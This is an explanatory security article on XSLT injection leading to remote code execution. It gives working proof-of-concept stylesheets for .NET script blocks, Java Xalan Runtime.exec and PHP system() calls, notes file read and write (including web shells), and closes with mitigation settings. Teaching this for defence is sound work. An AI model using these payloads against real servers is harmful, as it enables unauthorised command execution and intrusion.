How XSLT Injection Leads to Remote Code Execution
Extensible Stylesheet Language Transformations (XSLT) injection is a critical vulnerability that occurs when an application processes untrusted, user-supplied XSLT stylesheets or concatenates unsanitized user input directly into an XSL template. When an XSLT processor evaluates a malicious stylesheet, attackers can leverage native transformation features, custom extension functions, and external scripting capabilities embedded within the stylesheet to execute arbitrary system commands, leading directly to Remote Code Execution (RCE).
Understanding XSLT Processing and Injection
XSLT is a Turing-complete, XML-based language designed to transform XML documents into other formats, such as HTML, plain text, or alternative XML structures. Processing involves two primary components: the XML data source and the XSLT stylesheet containing the transformation logic.
An XSLT injection vulnerability arises when an application allows an external user to control the entire stylesheet or inject arbitrary XSL elements into a pre-existing template. Because modern XSLT parsers often support advanced programmatic capabilities to extend standard transformation logic, an attacker who controls the stylesheet can instruct the underlying server-side engine to perform actions far beyond simple document formatting.
Primary Vectors for Remote Code Execution
The path from XSLT injection to RCE depends on the specific XSLT processing library, the host runtime environment (.NET, Java, PHP, etc.), and the parser’s configuration.
1. Embedded Scripting Blocks (.NET / MSXML)
Certain processors, such as Microsoft’s
XslCompiledTransform or legacy MSXML engines, support
embedded script blocks via proprietary namespaces like
msxsl:script. If script execution is enabled in the
processor settings, an attacker can embed languages such as C#, JScript,
or VBScript directly into the stylesheet.
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://example.com/mynamespace">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public void RunCommand(string cmd) {
System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd);
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:RunCommand('whoami')"/>
</xsl:template>
</xsl:stylesheet>When evaluated, the parser compiles and executes the embedded code under the security context of the web application.
2. Java Reflection and Extension Functions (Xalan, Saxon)
Java-based processors like Apache Xalan and Saxon often enable Java
class instantiation and method invocation directly from XSLT using
specific namespace URIs. Attackers can map a namespace to standard Java
classes and invoke dangerous methods, such as
java.lang.Runtime.getRuntime().exec().
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<xsl:template match="/">
<xsl:variable name="runtime" select="rt:getRuntime()"/>
<xsl:value-of select="rt:exec($runtime, 'id')"/>
</xsl:template>
</xsl:stylesheet>If extension functions are not explicitly disabled, the processor automatically resolves the class, creates the instance, and runs the arbitrary operating system command.
3. Native PHP Function
Execution (libxslt)
In PHP environments utilizing XSLTProcessor from
libxslt, the application can be configured to allow
arbitrary PHP functions inside transformations using
registerPHPFunctions().
If this feature is active and an attacker supplies the stylesheet,
they can invoke functions like system(),
exec(), or passthru():
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('system', 'uname -a')"/>
</xsl:template>
</xsl:stylesheet>4. Secondary Vectors: Arbitrary File Read and Write
Even if direct command execution extensions are disabled, attackers
can exploit built-in functions like document() to read
local system and configuration files, or use vendor-specific output tags
(such as xsl:result-document or
redirect:write) to write malicious files (e.g., web shells)
to accessible web directories.
Prevention and Mitigation
Securing XML architectures against XSLT-induced RCE requires strict parsing controls and architecture-level design patterns:
- Do Not Accept User-Controlled Stylesheets: Applications should only use static, trusted XSLT files maintained strictly on the server side. User input must only be passed as pure data within the XML payload, never as code or template structure.
- Disable Extension Functions and Scripting: By
default, disable all external extension capabilities in your parser’s
configuration (e.g., setting
FeatureSecureProcessingto true in Java XML factories, disablingXsltSettings.EnableScriptin .NET, or avoidingregisterPHPFunctions()in PHP). - Restrict Network and File Resolution: Disable
external entity resolution and the
document()function by configuring custom, restrictiveURIResolverandXmlResolverimplementations.